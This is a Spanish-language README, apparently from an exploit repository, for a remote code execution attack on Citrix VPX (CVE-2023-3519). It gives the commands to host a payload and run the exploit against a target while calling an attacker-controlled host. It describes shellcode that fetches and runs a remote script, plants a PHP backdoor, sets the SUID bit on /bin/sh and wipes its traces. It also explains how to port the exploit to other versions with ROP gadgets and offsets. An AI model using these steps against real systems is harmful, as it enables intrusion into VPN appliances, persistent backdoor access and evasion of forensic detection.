
Exploit de RCE para CVE-2023-3519
Este exploit utiliza direcciones y shellcode para Citrix VPX 13.1-48.47. Para el artículo completo, haga clic aquí.
Se requiere NASM para compilar el shellcode.
$ sudo apt install nasm
El shellcode incluido descargará y ejecutará un script de shell desde un servidor http(s) remoto. El script acepta 3 argumentos: el host objetivo, el puerto objetivo y la URL de un payload de script de shell. En este repositorio se incluye un payload de ejemplo que ejecuta id y uname -a antes de limpiar sus rastros.
$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a
La URL debe ser lo suficientemente corta para caber en el búfer del shellcode, y recibirá una advertencia si es demasiado larga.
El shellcode creará una puerta trasera PHP en /var/netscaler/logon/a.php y establecerá el bit SUID en /bin/sh. El payload incluido muestra un ejemplo de cómo limpiar automáticamente estos artefactos. También tenga en cuenta que el shellcode no cierra sus descriptores de archivo, por lo que la explotación repetida excesiva puede resultar en agotamiento de recursos.
shPara objetivos Citrix basados en FreeBSD, solo necesita encontrar 3 valores: el desplazamiento del puntero de retorno guardado, un gadget ROP jmp rsp (o algo equivalente, como push rsp; ret;), y la dirección a la que saltar para evitar un fallo. Estos parámetros están codificados cerca de la parte superior de cve-2023-3519.py. Para ciertas versiones, también puede ser necesario encontrar un cuarto valor para arreglar el valor de RBP, ya que el compilador genera cargas relativas a RBP en lugar de usar instrucciones POP para restaurar registros guardados.